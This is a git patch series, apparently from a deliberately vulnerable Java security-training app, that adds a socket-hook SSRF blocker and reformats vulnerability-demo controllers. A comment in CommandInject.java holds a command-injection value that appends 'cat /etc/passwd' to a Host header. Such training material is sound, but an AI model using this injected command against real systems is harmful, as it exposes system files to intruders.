- public JSONPAdvice(@Value("${joychou.security.jsonp.callback}") String[] callbacks) {
+ public Object2Jsonp(@Value("${joychou.security.jsonp.callback}") String[] callbacks) {
super(callbacks); // Can set multiple paramNames
this.callbacks = callbacks;
}
diff --git a/src/main/java/org/joychou/security/SSRFChecker.java b/src/main/java/org/joychou/security/SSRFChecker.java
index 2f1bcf0a..b678d598 100644
--- a/src/main/java/org/joychou/security/SSRFChecker.java
+++ b/src/main/java/org/joychou/security/SSRFChecker.java
@@ -63,8 +63,7 @@ static boolean checkSSRF(String url, int checkTimes) {
try {
do {
// 判断当前请求的URL是否是内网ip
- Boolean bRet = isInnerIPByUrl(finalUrl);
- if (bRet) {
+ if (isInnerIPByUrl(finalUrl)) {
logger.error("[-] SSRF check failed. Dangerous url: " + finalUrl);
return false; // 内网ip直接return,非内网ip继续判断是否有重定向
}
diff --git a/src/main/java/org/joychou/util/LoginUtils.java b/src/main/java/org/joychou/util/LoginUtils.java
new file mode 100644
index 00000000..93ccbd9f
--- /dev/null
+++ b/src/main/java/org/joychou/util/LoginUtils.java
@@ -0,0 +1,21 @@
+package org.joychou.util;
+
+import com.alibaba.fastjson.JSON;
+
+import javax.servlet.http.HttpServletRequest;
+import java.security.Principal;
+import java.util.HashMap;
+import java.util.Map;
+
+public class LoginUtils {
+
+ // get current login username
+ public static String getUserInfo2JsonStr(HttpServletRequest request) {
+ Principal principal = request.getUserPrincipal();
+ String username = principal.getName();
+ Map m = new HashMap<>();
+ m.put("Username", username);
+
+ return JSON.toJSONString(m);
+ }
+}
From fa48badb1edcbfb27fae61909b43545c0478d0b2 Mon Sep 17 00:00:00 2001
From: liergou <736540362@qq.com>
Date: Sat, 4 Apr 2020 02:27:05 +0800
Subject: [PATCH 18/41] =?UTF-8?q?=E5=A2=9E=E5=8A=A0socket=20hook=E6=A8=A1?=
=?UTF-8?q?=E5=9D=97=20=20=E5=AE=9E=E7=8E=B0socket=E5=B1=82=E6=8B=A6?=
=?UTF-8?q?=E6=88=AASSRF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
.../org/joychou/security/SSRFChecker.java | 15 +-
.../org/joychou/security/SecurityUtil.java | 24 ++
.../java/org/joychou/security/SocketHook.java | 25 ++
.../joychou/security/SocketHookFactory.java | 77 +++++
.../org/joychou/security/SocketHookImpl.java | 294 ++++++++++++++++++
.../org/joychou/security/SocketHookUtils.java | 29 ++
6 files changed, 463 insertions(+), 1 deletion(-)
create mode 100644 src/main/java/org/joychou/security/SocketHook.java
create mode 100644 src/main/java/org/joychou/security/SocketHookFactory.java
create mode 100644 src/main/java/org/joychou/security/SocketHookImpl.java
create mode 100644 src/main/java/org/joychou/security/SocketHookUtils.java
diff --git a/src/main/java/org/joychou/security/SSRFChecker.java b/src/main/java/org/joychou/security/SSRFChecker.java
index b678d598..ef393074 100644
--- a/src/main/java/org/joychou/security/SSRFChecker.java
+++ b/src/main/java/org/joychou/security/SSRFChecker.java
@@ -5,6 +5,8 @@
import java.net.URI;
import java.net.URL;
import java.util.ArrayList;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
import org.apache.commons.net.util.SubnetUtils;
import org.joychou.config.WebConfig;
@@ -14,6 +16,7 @@
class SSRFChecker {
private static Logger logger = LoggerFactory.getLogger(SSRFChecker.class);
+ private final static Pattern IP_PATTERN = Pattern.compile("((25[0-5]|2[0-4]\\d|[01]?\\d\\d?)\\.){3}(25[0-5]|2[0-4]\\d|[01]?\\d\\d?)");
static boolean checkURLFckSSRF(String url) {
if (null == url){
@@ -122,7 +125,7 @@ static boolean isInnerIPByUrl(String url) {
* @param strIP ip字符串
* @return 如果是内网ip,返回true,否则返回false。
*/
- private static boolean isInnerIp(String strIP){
+ static boolean isInnerIp(String strIP){
ArrayList blackSubnets= WebConfig.getSsrfBlockIps();
@@ -176,4 +179,14 @@ private static String url2host(String url) {
}
}
+
+ /**
+ * 匹配ip
+ * @return
+ */
+ static String getIpFromStr(String ipStr){
+ Matcher matcher = IP_PATTERN.matcher(ipStr);
+ System.out.println(matcher.find());
+ return matcher.group();
+ }
}
diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java
index 14cc397f..2cbe52ab 100644
--- a/src/main/java/org/joychou/security/SecurityUtil.java
+++ b/src/main/java/org/joychou/security/SecurityUtil.java
@@ -4,6 +4,7 @@
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
+import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.URI;
import java.net.URLDecoder;
@@ -118,6 +119,29 @@ public static boolean checkSSRFWithoutRedirect(String url) {
return !SSRFChecker.isInnerIPByUrl(url);
}
+ /**
+ * @Author liergou
+ * @Description 基于Socket hook 进行SSRF检测拦截
+ * @Date 2:15 2020/4/4
+ * @Param []
+ * @return void
+ **/
+ public static void startSSRFHook() throws NoSuchFieldException, IOException {
+ SocketHook.startHook();
+ }
+
+ /**
+ * @Author liergou
+ * @Description 关闭Socket hook
+ * @Date 2:15 2020/4/4
+ * @Param []
+ * @return void
+ **/
+ public static void stopSSRFHook(){
+ SocketHook.stopHook();
+ }
+
+
/**
* Filter file path to prevent path traversal vulns.
diff --git a/src/main/java/org/joychou/security/SocketHook.java b/src/main/java/org/joychou/security/SocketHook.java
new file mode 100644
index 00000000..359e33f3
--- /dev/null
+++ b/src/main/java/org/joychou/security/SocketHook.java
@@ -0,0 +1,25 @@
+package org.joychou.security;
+
+import java.io.IOException;
+import java.net.Socket;
+import java.net.SocketException;
+
+/**
+ * @Author liergou
+ * @Description Socket hook开关自如
+ * @Date 2:12 2020/4/4
+ **/
+class SocketHook {
+ static void startHook() throws NoSuchFieldException, IOException {
+ SocketHookFactory.initSocket();
+ SocketHookFactory.setHook(true);
+ try{
+ Socket.setSocketImplFactory(new SocketHookFactory());
+ }catch (SocketException ignored){
+ }
+ }
+
+ static void stopHook(){
+ SocketHookFactory.setHook(false);
+ }
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/security/SocketHookFactory.java b/src/main/java/org/joychou/security/SocketHookFactory.java
new file mode 100644
index 00000000..2dbe738f
--- /dev/null
+++ b/src/main/java/org/joychou/security/SocketHookFactory.java
@@ -0,0 +1,77 @@
+package org.joychou.security;
+
+
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.net.Socket;
+import java.net.SocketImpl;
+import java.net.SocketImplFactory;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+
+/**
+ * @Author liergou
+ * @Description socket factory impl
+ * @Date 23:41 2020/4/3
+ * @Param
+ * @return
+ **/
+public class SocketHookFactory implements SocketImplFactory
+ {
+ private static SocketImpl clazz;
+ private static Boolean isHook = false;
+
+ /**
+ * @Author liergou
+ * @Description switch hook
+ * @Date 23:42 2020/4/2
+ * @Param [set]
+ * @return void
+ **/
+ public static void setHook(Boolean set){
+ isHook = set;
+ }
+
+ /**
+ * @Author liergou
+ * @Description 初始化
+ * @Date 23:42 2020/4/2
+ * @Param []
+ * @return void
+ **/
+ public static synchronized void initSocket() throws NoSuchFieldException {
+ if ( clazz != null ) { return; }
+
+ Socket socket = new Socket();
+ try{
+ Field implField = Socket.class.getDeclaredField("impl");
+ implField.setAccessible( true );
+ clazz = (SocketImpl) implField.get(socket);
+ }catch (NoSuchFieldException | IllegalAccessException e){
+ throw new RuntimeException("SocketHookFactory init failed!");
+ }
+
+ try {
+ socket.close();
+ }
+ catch ( IOException ignored)
+ {
+
+ }
+ }
+
+ public SocketImpl createSocketImpl() {
+
+ if(isHook) {
+ try {
+ return new SocketHookImpl(clazz);
+ } catch (Exception e) {
+ Logger.getLogger(SocketHookFactory.class.getName()).log(Level.WARNING, "hook 失败 请检查" );
+ return clazz;
+ }
+ }else{
+ return clazz;
+ }
+ }
+ }
diff --git a/src/main/java/org/joychou/security/SocketHookImpl.java b/src/main/java/org/joychou/security/SocketHookImpl.java
new file mode 100644
index 00000000..ec41ebac
--- /dev/null
+++ b/src/main/java/org/joychou/security/SocketHookImpl.java
@@ -0,0 +1,294 @@
+package org.joychou.security;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.net.*;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+/**
+ * @Author liergou
+ * @Description socket impl
+ * @Date 23:39 2020/4/2
+ * @Param
+ * @return
+ **/
+public class SocketHookImpl extends SocketImpl implements SocketOptions
+{
+
+ private SocketImpl socketImpl = null;
+ private Method createImpl;
+ private Method connectHostImpl;
+ private Method connectInetAddressImpl;
+ private Method connectSocketAddressIMPL;
+ private Method bindImpl;
+ private Method listenImpl;
+ private Method acceptImpl;
+ private Method getInputStreamImpl;
+ private Method getOutputStreamImpl;
+ private Method availableImpl;
+ private Method closeImpl;
+ private Method shutdownInputImpl;
+ private Method shutdownOutputImpl;
+ private Method sendUrgentDataImpl;
+
+
+ /**
+ * @Author liergou
+ * @Description 初始化反射方法
+ * @Date 23:40 2020/4/2
+ * @Param [initSocketImpl]
+ * @return
+ **/
+ public SocketHookImpl(SocketImpl initSocketImpl) {
+
+ if ( initSocketImpl == null){
+ throw new RuntimeException("");
+ //TODO close hook
+ }
+
+ this.socketImpl = initSocketImpl;
+ final Class> clazz = this.socketImpl.getClass();
+ Method[] allMethod = clazz.getDeclaredMethods();
+ createImpl = SocketHookUtils.findMethod( clazz,"create", new Class>[]{ boolean.class } );
+ connectHostImpl = SocketHookUtils.findMethod( clazz, "connect", new Class>[]{ String.class, int.class } );
+ connectInetAddressImpl = SocketHookUtils.findMethod( clazz, "connect", new Class>[]{ InetAddress.class, int.class } );
+ connectSocketAddressIMPL = SocketHookUtils.findMethod( clazz, "connect", new Class>[]{ SocketAddress.class, int.class } );
+ bindImpl = SocketHookUtils.findMethod( clazz, "bind", new Class>[]{ InetAddress.class, int.class } );
+ listenImpl = SocketHookUtils.findMethod( clazz, "listen", new Class>[]{ int.class } );
+ acceptImpl = SocketHookUtils.findMethod( clazz, "accept", new Class>[]{ SocketImpl.class } );
+ getInputStreamImpl = SocketHookUtils.findMethod( clazz, "getInputStream", new Class>[]{ } );
+ getOutputStreamImpl = SocketHookUtils.findMethod( clazz, "getOutputStream", new Class>[]{ } );
+ availableImpl = SocketHookUtils.findMethod( clazz, "available", new Class>[]{ } );
+ closeImpl = SocketHookUtils.findMethod( clazz, "close", new Class>[]{ } );
+ shutdownInputImpl = SocketHookUtils.findMethod( clazz, "shutdownInput", new Class>[]{ } );
+ shutdownOutputImpl = SocketHookUtils.findMethod( clazz, "shutdownOutput", new Class>[]{ } );
+ sendUrgentDataImpl = SocketHookUtils.findMethod( clazz, "sendUrgantData", new Class>[]{ int.class } );
+ }
+
+
+ /**
+ * socket base method impl
+ */
+ @Override
+ protected void create(boolean stream) throws IOException {
+ try
+ {
+ this.createImpl.invoke( this.socketImpl, stream);
+ }
+ catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
+ {
+ Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+ }
+
+ }
+
+ @Override
+ protected void connect(String host, int port) throws IOException {
+ Logger.getLogger(SocketHookImpl.class.getName()).log(Level.INFO, "host=" + host + ",port=" + port );
+
+ try
+ {
+ this.connectHostImpl.invoke( this.socketImpl, host, port);
+ }
+ catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex)
+ {
+ Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+ }
+
+ }
+
+
+ @Override
+ protected void connect(InetAddress address, int port) throws IOException {
+ Logger.getLogger(SocketHookImpl.class.getName()).log(Level.INFO, "InetAddress=" + address.toString());
+
+ //start check SSRF
+ if(SSRFChecker.isInnerIp(SSRFChecker.getIpFromStr(address.toString()))){
+ throw new RuntimeException("Socket SSRF check failed. InetAddress:"+address.toString());
+ }
+ try
+ {
+ this.connectInetAddressImpl.invoke( this.socketImpl, address, port);
+ }
+ catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
+ {
+ Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+ }
+ }
+
+ @Override
+ protected void connect(SocketAddress address, int timeout) throws IOException {
+ Logger.getLogger(SocketHookImpl.class.getName()).log(Level.INFO, "SocketAddress=" + address.toString());
+ //start check SSRF
+ if(SSRFChecker.isInnerIp(SSRFChecker.getIpFromStr(address.toString()))){
+ throw new RuntimeException("Socket SSRF check failed. SocketAddress:"+address.toString());
+ }
+
+ try
+ {
+ this.connectSocketAddressIMPL.invoke( this.socketImpl, address, timeout);
+ }
+ catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex)
+ {
+ Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+ }
+ }
+
+ @Override
+ protected void bind(InetAddress host, int port) throws IOException {
+ try
+ {
+ this.bindImpl.invoke( this.socketImpl, host, port);
+ }
+ catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex)
+ {
+ Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+ }
+ }
+
+ @Override
+ protected void listen(int backlog) throws IOException {
+
+ try
+ {
+ this.listenImpl.invoke( this.socketImpl, backlog);
+ }
+ catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
+ {
+ Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+ }
+ }
+
+ @Override
+ protected void accept(SocketImpl s) throws IOException {
+
+ try
+ {
+ this.acceptImpl.invoke( this.socketImpl, s);
+ }
+ catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
+ {
+ Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+ }
+ }
+
+ @Override
+ protected InputStream getInputStream() throws IOException {
+ InputStream inStream = null;
+
+ try
+ {
+ inStream = (InputStream)this.getInputStreamImpl.invoke( this.socketImpl);
+ }
+ catch ( ClassCastException | InvocationTargetException | IllegalArgumentException | IllegalAccessException ex )
+ {
+ Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+ }
+
+ return inStream;
+ }
+
+ @Override
+ protected OutputStream getOutputStream() throws IOException {
+ OutputStream outStream = null;
+
+ try
+ {
+ outStream = (OutputStream)this.getOutputStreamImpl.invoke( this.socketImpl);
+ }
+ catch ( ClassCastException | IllegalArgumentException | IllegalAccessException | InvocationTargetException ex )
+ {
+ Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+ }
+
+ return outStream;
+ }
+
+ @Override
+ protected int available() throws IOException {
+ int result = -1;
+
+ try
+ {
+ result = (Integer)this.availableImpl.invoke( this.socketImpl);
+ }
+ catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
+ {
+ Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+ }
+
+ return result;
+ }
+
+ @Override
+ protected void close() throws IOException {
+ try
+ {
+ this.closeImpl.invoke( this.socketImpl);
+ }
+ catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
+ {
+ Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+ }
+ }
+
+ @Override
+ protected void shutdownInput() throws IOException {
+ try
+ {
+ this.shutdownInputImpl.invoke( this.socketImpl);
+ }
+ catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
+ {
+ Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+ }
+
+ }
+
+ @Override
+ protected void shutdownOutput() throws IOException {
+ try
+ {
+ this.shutdownOutputImpl.invoke( this.socketImpl);
+ }
+ catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
+ {
+ Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+ }
+
+ }
+
+ @Override
+ protected void sendUrgentData(int data) throws IOException {
+ try
+ {
+ this.sendUrgentDataImpl.invoke( this.socketImpl, data);
+ }
+ catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex)
+ {
+ Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
+ }
+ }
+
+ public void setOption(int optID, Object value) throws SocketException {
+ if ( null != this.socketImpl )
+ {
+ this.socketImpl.setOption( optID, value );
+ }
+ }
+
+ public Object getOption(int optID) throws SocketException {
+ return this.socketImpl.getOption( optID );
+ }
+
+ /**
+ * dont impl other child method now
+ * dont sure where will use it
+ **/
+
+
+}
diff --git a/src/main/java/org/joychou/security/SocketHookUtils.java b/src/main/java/org/joychou/security/SocketHookUtils.java
new file mode 100644
index 00000000..75d48707
--- /dev/null
+++ b/src/main/java/org/joychou/security/SocketHookUtils.java
@@ -0,0 +1,29 @@
+package org.joychou.security;
+
+import java.lang.reflect.Method;
+
+public class SocketHookUtils {
+
+ /**
+ * @Author liergou
+ * @Description 轮询父类查找反射方法
+ * @Date 1:43 2020/4/4
+ * @Param [inputClazz, findName, args]
+ * @return java.lang.reflect.Method
+ **/
+ public static Method findMethod(Class> inputClazz, String findName ,Class>[] args){
+ Class> temp=inputClazz;
+ Method tmpMethod = null;
+ while(temp!=null){
+ try{
+ tmpMethod = temp.getDeclaredMethod(findName,args);
+ tmpMethod.setAccessible(true);
+ return tmpMethod;
+ }catch (NoSuchMethodException e){
+ temp=temp.getSuperclass();
+ }
+ }
+ return null;
+ }
+
+}
From 335bfef5cb34d2e7e0a6f822226c82c7a8b37b80 Mon Sep 17 00:00:00 2001
From: JoyChou
Date: Sat, 4 Apr 2020 23:39:27 +0800
Subject: [PATCH 19/41] fix hook socket's bug
---
README.md | 2 +-
.../java/org/joychou/config/Constants.java | 3 +-
.../org/joychou/config/SafeDomainParser.java | 20 +-
.../java/org/joychou/config/WebConfig.java | 66 ++--
.../org/joychou/controller/CRLFInjection.java | 2 +-
.../java/org/joychou/controller/CSRF.java | 2 +-
.../org/joychou/controller/CommandInject.java | 1 -
.../java/org/joychou/controller/Cookies.java | 7 +-
.../java/org/joychou/controller/Cors.java | 4 +-
.../org/joychou/controller/Deserialize.java | 10 +-
.../java/org/joychou/controller/Fastjson.java | 10 +-
.../org/joychou/controller/FileUpload.java | 39 +--
.../org/joychou/controller/GetRequestURI.java | 18 +-
.../java/org/joychou/controller/IPForge.java | 16 +-
.../java/org/joychou/controller/Jsonp.java | 10 +-
.../java/org/joychou/controller/Login.java | 2 +-
.../org/joychou/controller/PathTraversal.java | 6 +-
src/main/java/org/joychou/controller/Rce.java | 26 +-
.../java/org/joychou/controller/SQLI.java | 64 ++--
.../java/org/joychou/controller/SSRF.java | 62 ++--
.../java/org/joychou/controller/SSTI.java | 4 +-
.../java/org/joychou/controller/SpEL.java | 10 +-
.../java/org/joychou/controller/Test.java | 3 +-
.../org/joychou/controller/URLRedirect.java | 17 +-
.../org/joychou/controller/URLWhiteList.java | 67 ++--
src/main/java/org/joychou/controller/XSS.java | 12 +-
.../org/joychou/controller/XStreamRce.java | 8 +-
src/main/java/org/joychou/controller/XXE.java | 58 ++--
.../controller/othervulns/ooxmlXXE.java | 28 +-
.../othervulns/xlsxStreamerXXE.java | 6 +-
.../java/org/joychou/filter/OriginFilter.java | 10 +-
.../java/org/joychou/filter/ReferFilter.java | 14 +-
.../org/joychou/security/SecurityUtil.java | 22 +-
.../joychou/security/SocketHookFactory.java | 77 -----
.../org/joychou/security/SocketHookImpl.java | 294 ------------------
.../org/joychou/security/SocketHookUtils.java | 29 --
.../security/{ => ssrf}/SSRFChecker.java | 62 ++--
.../joychou/security/ssrf/SSRFException.java | 15 +
.../security/{ => ssrf}/SocketHook.java | 18 +-
.../security/ssrf/SocketHookFactory.java | 87 ++++++
.../joychou/security/ssrf/SocketHookImpl.java | 270 ++++++++++++++++
.../security/ssrf/SocketHookUtils.java | 28 ++
src/main/java/org/joychou/util/WebUtils.java | 16 +
43 files changed, 747 insertions(+), 778 deletions(-)
delete mode 100644 src/main/java/org/joychou/security/SocketHookFactory.java
delete mode 100644 src/main/java/org/joychou/security/SocketHookImpl.java
delete mode 100644 src/main/java/org/joychou/security/SocketHookUtils.java
rename src/main/java/org/joychou/security/{ => ssrf}/SSRFChecker.java (77%)
create mode 100644 src/main/java/org/joychou/security/ssrf/SSRFException.java
rename src/main/java/org/joychou/security/{ => ssrf}/SocketHook.java (59%)
create mode 100644 src/main/java/org/joychou/security/ssrf/SocketHookFactory.java
create mode 100644 src/main/java/org/joychou/security/ssrf/SocketHookImpl.java
create mode 100644 src/main/java/org/joychou/security/ssrf/SocketHookUtils.java
diff --git a/README.md b/README.md
index 9ee7a881..2c0a0bc8 100644
--- a/README.md
+++ b/README.md
@@ -190,7 +190,7 @@ Tomcat's default JSESSION session is valid for 30 minutes, so a 30-minute non-op
## Contributors
-Core developers : [JoyChou](https://github.com/JoyChou93).
+Core developers : [JoyChou](https://github.com/JoyChou93), [liergou9981](https://github.com/liergou9981)
Other developers: [lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95), [waderwu](https://github.com/waderwu).
diff --git a/src/main/java/org/joychou/config/Constants.java b/src/main/java/org/joychou/config/Constants.java
index 62379458..ef6ee45e 100644
--- a/src/main/java/org/joychou/config/Constants.java
+++ b/src/main/java/org/joychou/config/Constants.java
@@ -2,7 +2,8 @@
public class Constants {
- private Constants(){}
+ private Constants() {
+ }
public static final String REMEMBER_ME_COOKIE = "rememberMe";
}
diff --git a/src/main/java/org/joychou/config/SafeDomainParser.java b/src/main/java/org/joychou/config/SafeDomainParser.java
index 82859444..6157f645 100644
--- a/src/main/java/org/joychou/config/SafeDomainParser.java
+++ b/src/main/java/org/joychou/config/SafeDomainParser.java
@@ -14,9 +14,9 @@
public class SafeDomainParser {
- private static Logger logger= LoggerFactory.getLogger(SafeDomainParser.class);
+ private static Logger logger = LoggerFactory.getLogger(SafeDomainParser.class);
- public SafeDomainParser(){
+ public SafeDomainParser() {
String rootTag = "domains";
String safeDomainTag = "safedomains";
@@ -38,8 +38,8 @@ public SafeDomainParser(){
NodeList rootNode = doc.getElementsByTagName(rootTag); // 解析根节点domains
Node domainsNode = rootNode.item(0);
NodeList child = domainsNode.getChildNodes();
-
- for (int i = 0; i < child.getLength(); i++){
+
+ for (int i = 0; i < child.getLength(); i++) {
Node node = child.item(i);
// 解析safeDomains节点
if (node.getNodeName().equals(safeDomainTag)) {
@@ -51,7 +51,7 @@ public SafeDomainParser(){
safeDomains.add(finalTagNode.getTextContent());
}
}
- }else if (node.getNodeName().equals(blockDomainTag)) {
+ } else if (node.getNodeName().equals(blockDomainTag)) {
NodeList finalTagNode = node.getChildNodes();
for (int j = 0; j < finalTagNode.getLength(); j++) {
Node tagNode = finalTagNode.item(j);
@@ -62,7 +62,7 @@ public SafeDomainParser(){
}
}
}
- }catch (Exception e){
+ } catch (Exception e) {
logger.error(e.toString());
}
@@ -96,7 +96,7 @@ public SafeDomainParser(){
Node domainsNode = rootNode.item(0);
NodeList child = domainsNode.getChildNodes();
- for (int i = 0; i < child.getLength(); i++){
+ for (int i = 0; i < child.getLength(); i++) {
Node node = child.item(i);
// 解析safeDomains节点
if (node.getNodeName().equals(ssrfSafeDomainTag)) {
@@ -107,7 +107,7 @@ public SafeDomainParser(){
ssrfSafeDomains.add(tagFinalNode.getTextContent());
}
}
- }else if (node.getNodeName().equals(ssrfBlockDomainTag)) {
+ } else if (node.getNodeName().equals(ssrfBlockDomainTag)) {
NodeList tagChild = node.getChildNodes();
for (int j = 0; j < tagChild.getLength(); j++) {
Node tagFinalNode = tagChild.item(j);
@@ -115,7 +115,7 @@ public SafeDomainParser(){
ssrfBlockDomains.add(tagFinalNode.getTextContent());
}
}
- }else if(node.getNodeName().equals(ssrfBlockIpsTag)){
+ } else if (node.getNodeName().equals(ssrfBlockIpsTag)) {
NodeList tagChild = node.getChildNodes();
for (int j = 0; j < tagChild.getLength(); j++) {
Node tagFinalNode = tagChild.item(j);
@@ -126,7 +126,7 @@ public SafeDomainParser(){
}
}
}
- }catch (Exception e){
+ } catch (Exception e) {
logger.error(e.toString());
}
diff --git a/src/main/java/org/joychou/config/WebConfig.java b/src/main/java/org/joychou/config/WebConfig.java
index 2dfdee19..28ee6967 100644
--- a/src/main/java/org/joychou/config/WebConfig.java
+++ b/src/main/java/org/joychou/config/WebConfig.java
@@ -15,112 +15,124 @@
public class WebConfig {
private static String[] callbacks;
- private static Boolean jsonpReferCheckEnabled = false;
+ private static Boolean jsonpReferCheckEnabled = false;
private static String[] jsonpRefererHost;
private static String[] referWhitelist;
private static String[] referUris;
private static Boolean referSecEnabled = false;
private static String businessCallback;
- private static ArrayList safeDomains= new ArrayList<>();
- private static ArrayList blockDomains= new ArrayList<>();
+ private static ArrayList safeDomains = new ArrayList<>();
+ private static ArrayList blockDomains = new ArrayList<>();
private static ArrayList ssrfSafeDomains = new ArrayList<>();
- private static ArrayList ssrfBlockDomains= new ArrayList<>();
+ private static ArrayList ssrfBlockDomains = new ArrayList<>();
private static ArrayList ssrfBlockIps = new ArrayList<>();
+
/**
* application.properties里object自动转jsonp的referer校验开关
+ *
* @param jsonpReferCheckEnabled jsonp校验开关
*/
@Value("${joychou.security.jsonp.referer.check.enabled}")
- public void setJsonpReferCheckEnabled(Boolean jsonpReferCheckEnabled){
+ public void setJsonpReferCheckEnabled(Boolean jsonpReferCheckEnabled) {
WebConfig.jsonpReferCheckEnabled = jsonpReferCheckEnabled;
}
- public static Boolean getJsonpReferCheckEnabled(){
+
+ public static Boolean getJsonpReferCheckEnabled() {
return jsonpReferCheckEnabled;
}
@Value("${joychou.security.jsonp.callback}")
- public void setJsonpCallbacks(String[] callbacks){
+ public void setJsonpCallbacks(String[] callbacks) {
WebConfig.callbacks = callbacks;
}
- public static String[] getJsonpCallbacks(){
+
+ public static String[] getJsonpCallbacks() {
return callbacks;
}
@Value("${joychou.security.referer.enabled}")
- public void setReferSecEnabled(Boolean referSecEnabled){
+ public void setReferSecEnabled(Boolean referSecEnabled) {
WebConfig.referSecEnabled = referSecEnabled;
}
- public static Boolean getReferSecEnabled(){
+
+ public static Boolean getReferSecEnabled() {
return referSecEnabled;
}
@Value("${joychou.security.referer.host}")
- public void setReferWhitelist(String[] referWhitelist){
+ public void setReferWhitelist(String[] referWhitelist) {
WebConfig.referWhitelist = referWhitelist;
}
- public static String[] getReferWhitelist(){
+
+ public static String[] getReferWhitelist() {
return referWhitelist;
}
@Value("${joychou.security.referer.uri}")
- public void setReferUris(String[] referUris)
- {
+ public void setReferUris(String[] referUris) {
WebConfig.referUris = referUris;
}
- public static String[] getReferUris(){
+
+ public static String[] getReferUris() {
return referUris;
}
@Value("${joychou.business.callback}")
- public void setBusinessCallback(String businessCallback){
+ public void setBusinessCallback(String businessCallback) {
WebConfig.businessCallback = businessCallback;
}
- public static String getBusinessCallback(){
+
+ public static String getBusinessCallback() {
return businessCallback;
}
- void setSafeDomains(ArrayList safeDomains){
+ void setSafeDomains(ArrayList safeDomains) {
WebConfig.safeDomains = safeDomains;
}
- public static ArrayList getSafeDomains(){
+
+ public static ArrayList getSafeDomains() {
return safeDomains;
}
- void setBlockDomains(ArrayList blockDomains){
+ void setBlockDomains(ArrayList blockDomains) {
WebConfig.blockDomains = blockDomains;
}
- public static ArrayList getBlockDomains(){
+
+ public static ArrayList getBlockDomains() {
return blockDomains;
}
- void setSsrfSafeDomains(ArrayList ssrfSafeDomains){
+ void setSsrfSafeDomains(ArrayList ssrfSafeDomains) {
WebConfig.ssrfSafeDomains = ssrfSafeDomains;
}
- public static ArrayList getSsrfSafeDomains(){
+
+ public static ArrayList getSsrfSafeDomains() {
return ssrfSafeDomains;
}
- void setSsrfBlockDomains(ArrayList ssrfBlockDomains){
+ void setSsrfBlockDomains(ArrayList ssrfBlockDomains) {
WebConfig.ssrfBlockDomains = ssrfBlockDomains;
}
- public static ArrayList getSsrfBlockDomainsDomains(){
+
+ public static ArrayList getSsrfBlockDomainsDomains() {
return ssrfBlockDomains;
}
- void setSsrfBlockIps(ArrayList ssrfBlockIps){
+ void setSsrfBlockIps(ArrayList ssrfBlockIps) {
WebConfig.ssrfBlockIps = ssrfBlockIps;
}
- public static ArrayList getSsrfBlockIps(){
+
+ public static ArrayList getSsrfBlockIps() {
return ssrfBlockIps;
}
}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/CRLFInjection.java b/src/main/java/org/joychou/controller/CRLFInjection.java
index 4fb66ba7..b0b0e9f2 100644
--- a/src/main/java/org/joychou/controller/CRLFInjection.java
+++ b/src/main/java/org/joychou/controller/CRLFInjection.java
@@ -11,7 +11,7 @@
/**
* Java 1.7/1.8 no CRLF vulns (test in Java 1.7/1.8)
*
- * @author JoyChou (joychou@joychou.org) @2018-01-03
+ * @author JoyChou (joychou@joychou.org) @2018-01-03
*/
@Controller
@RequestMapping("/crlf")
diff --git a/src/main/java/org/joychou/controller/CSRF.java b/src/main/java/org/joychou/controller/CSRF.java
index 5481260e..21147270 100644
--- a/src/main/java/org/joychou/controller/CSRF.java
+++ b/src/main/java/org/joychou/controller/CSRF.java
@@ -10,7 +10,7 @@
* check csrf using spring-security
* Access http://localhost:8080/csrf/ -> click submit
*
- * @author JoyChou (joychou@joychou.org) @2019-05-31
+ * @author JoyChou (joychou@joychou.org) @2019-05-31
*/
@Controller
@RequestMapping("/csrf")
diff --git a/src/main/java/org/joychou/controller/CommandInject.java b/src/main/java/org/joychou/controller/CommandInject.java
index 5b63efcf..a1a99035 100644
--- a/src/main/java/org/joychou/controller/CommandInject.java
+++ b/src/main/java/org/joychou/controller/CommandInject.java
@@ -35,7 +35,6 @@ public String codeInject(String filepath) throws IOException {
* Host Injection
* Host: hacked by joychou;cat /etc/passwd
